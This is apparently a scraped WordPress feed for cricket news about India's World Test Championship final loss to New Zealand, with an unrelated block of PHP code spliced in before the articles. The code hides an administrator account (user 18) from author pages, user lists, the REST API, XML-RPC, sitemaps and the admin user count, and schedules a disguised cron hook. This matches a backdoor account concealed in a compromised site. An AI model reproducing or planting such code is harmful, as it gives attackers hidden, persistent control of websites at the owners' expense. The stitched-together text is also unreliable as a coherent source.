add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post ICC success eludes captain Kohli again, Team India introspect. appeared first on The Edge Media.
]]>India’s eight-wicket loss in Southampton prolonged their wait for a first global title since Mahendra Singh Dhoni led them to victory in the 2013 Champions Trophy.
It was Virat Kohli’s fourth unsuccessful attempt to lead India to an ICC title, the previous being the 2019 One Day World Cup when they lost to New Zealand in the semi-finals in Manchester.
“India fail the ultimate Test,” the Times of India newspaper said as it questioned India’s team selection and their preparation for the match.
“The lack of match practice in England hurt them but shouldn’t India have played an extra batsman in Hanuma Vihari?”
The Times suggested seamer Mohammed Siraj should also have been picked in the match in which India played both their spinners in conditions that gave more assistance to swing and seam bowling.
“The answers will arrive in due course but it will rankle this proud Indian team, which has towered over the rest of the test pack for a few years now,” the daily said. “No one, after all, remembers who came second.”
While captain Kohli’s title drought in global tournaments continued, New Zealand put behind their losses in successive 50-overs World Cup finals with their victory at the Ageas Bowl.
“Kiwis bury the ghosts of 2019, crowned first World Test champion,” The Hindu newspaper said on its sports page.
The Indian Express also hailed New Zealand’s victory with the headline ‘An island conquers the world’.
“Even as India worryingly continued to trip up in knockout games, New Zealand, the team that not even the most parochial Indian fan can stir up any negative emotion for, admirably held their nerve to become world Test champions,” it said.
Former India opener Gautam Gambhir summed up the sentiment when he tweeted: ‘Nice guys don’t always finish last! Congrats NZ. World No.1!’
The post ICC success eludes captain Kohli again, Team India introspect. appeared first on The Edge Media.
]]>The post Perfect Setup for training”, for Team India at Ageas Bowl appeared first on The Edge Media.
]]>
WTC ( World Test Championship) final will be held at the Ageas Bowl in Southampton, starting on June 18
The Ageas Bowl will be hosting the WTC final between New Zealand and India. Both the teams will challenge each other in the WTC, beginning June 18, in Southampton, while the women’s cricket team will begin the England tour with a one-off Test from June 16.
Team India posted a photo of the venue on Instagram, and it looks like the venue hasn’t lost its charm even when the raging coronavirus pandemic. The post was captioned as ” Perfect setup for training”

UK government has now granted exemption to the WTC final as outlined in the Health Protection (Coronavirus, international travel and operator liability) (England) Regulations 2021, which was released on May 17.
“As per the bio- safety protocols established for the event, in line with UK government and Public Health England requirements, the Indian Men’s team will arrive in the UK on June 2021 via a charter flight and carrying evidence of a negative PCR test” ICC had said in an official release.
Currently the Indian cricket team players are in isolation , regular tests are being conducted during the isolation period.
The post Perfect Setup for training”, for Team India at Ageas Bowl appeared first on The Edge Media.
]]>